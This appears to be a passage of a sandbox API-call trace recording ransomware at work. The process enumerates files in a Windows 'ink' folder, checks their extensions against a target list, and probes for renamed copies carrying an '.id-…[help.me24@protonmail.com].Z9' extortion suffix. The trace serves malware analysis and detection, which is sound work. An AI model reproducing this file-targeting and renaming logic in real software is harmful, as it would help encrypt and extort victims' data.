	[0188.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.983] lstrlenW (lpString=".jpg") returned 4
	[0188.983] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.983] lstrlenW (lpString=".doc") returned 4
	[0188.983] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString=".docx") returned 5
	[0188.983] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0188.983] lstrlenW (lpString=".pdf") returned 4
	[0188.983] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString=".xls") returned 4
	[0188.983] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString=".xlsx") returned 5
	[0188.983] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0188.983] lstrlenW (lpString=".ppt") returned 4
	[0188.983] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.983] lstrlenW (lpString=".zip") returned 4
	[0188.983] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0188.983] lstrlenW (lpString=".rar") returned 4
	[0188.983] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0188.984] lstrlenW (lpString=".bz2") returned 4
	[0188.984] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0188.984] lstrlenW (lpString=".7z") returned 3
	[0188.984] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0188.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.984] lstrlenW (lpString=".dbf") returned 4
	[0188.984] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0188.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.984] lstrlenW (lpString=".1cd") returned 4
	[0188.984] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0188.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0188.984] lstrlenW (lpString=".jpg") returned 4
	[0188.984] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0188.984] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.984] lstrlenW (lpString="ipsar.xml") returned 9
	[0188.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.985] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2418) returned 1
	[0188.986] CloseHandle (hObject=0x370) returned 1
	[0188.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20
	[0188.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0188.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0188.986] lstrlenW (lpString=".doc") returned 4
	[0188.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.986] lstrlenW (lpString=".docx") returned 5
	[0188.986] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0188.986] lstrlenW (lpString=".pdf") returned 4
	[0188.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.986] lstrlenW (lpString=".xls") returned 4
	[0188.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.986] lstrlenW (lpString=".xlsx") returned 5
	[0188.986] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0188.986] lstrlenW (lpString=".ppt") returned 4
	[0188.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0188.986] lstrlenW (lpString=".zip") returned 4
	[0188.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.986] lstrlenW (lpString=".rar") returned 4
	[0188.986] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.986] lstrlenW (lpString=".bz2") returned 4
	[0188.986] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.986] lstrlenW (lpString=".7z") returned 3
	[0188.987] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60
	[0188.987] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.987] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2592) returned 1
	[0188.987] CloseHandle (hObject=0x370) returned 1
	[0188.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20
	[0188.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.988] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.988] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2462) returned 1
	[0188.988] CloseHandle (hObject=0x370) returned 1
	[0188.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20
	[0188.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.989] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.989] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2436) returned 1
	[0188.990] CloseHandle (hObject=0x370) returned 1
	[0188.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20
	[0188.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.990] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.990] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2556) returned 1
	[0188.990] CloseHandle (hObject=0x370) returned 1
	[0188.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20
	[0188.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.991] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.991] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2514) returned 1
	[0188.991] CloseHandle (hObject=0x370) returned 1
	[0188.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20
	[0188.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.992] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.992] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2616) returned 1
	[0188.992] CloseHandle (hObject=0x370) returned 1
	[0188.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20
	[0188.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.993] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.993] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2618) returned 1
	[0188.993] CloseHandle (hObject=0x370) returned 1
	[0188.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20
	[0188.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.994] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.994] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2578) returned 1
	[0188.994] CloseHandle (hObject=0x370) returned 1
	[0188.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20
	[0188.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.995] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.995] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3024) returned 1
	[0188.995] CloseHandle (hObject=0x370) returned 1
	[0188.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20
	[0188.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.996] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.996] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2658) returned 1
	[0188.996] CloseHandle (hObject=0x370) returned 1
	[0188.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20
	[0188.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.997] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.997] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2628) returned 1
	[0188.997] CloseHandle (hObject=0x370) returned 1
	[0188.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20
	[0188.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.998] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.998] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2532) returned 1
	[0188.998] CloseHandle (hObject=0x370) returned 1
	[0188.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20
	[0188.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.999] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.999] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2518) returned 1
	[0188.999] CloseHandle (hObject=0x370) returned 1
	[0188.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20
	[0188.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.000] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.000] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2652) returned 1
	[0189.000] CloseHandle (hObject=0x370) returned 1
	[0189.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20
	[0189.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.001] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.001] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2570) returned 1
	[0189.001] CloseHandle (hObject=0x370) returned 1
	[0189.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20
	[0189.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.002] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
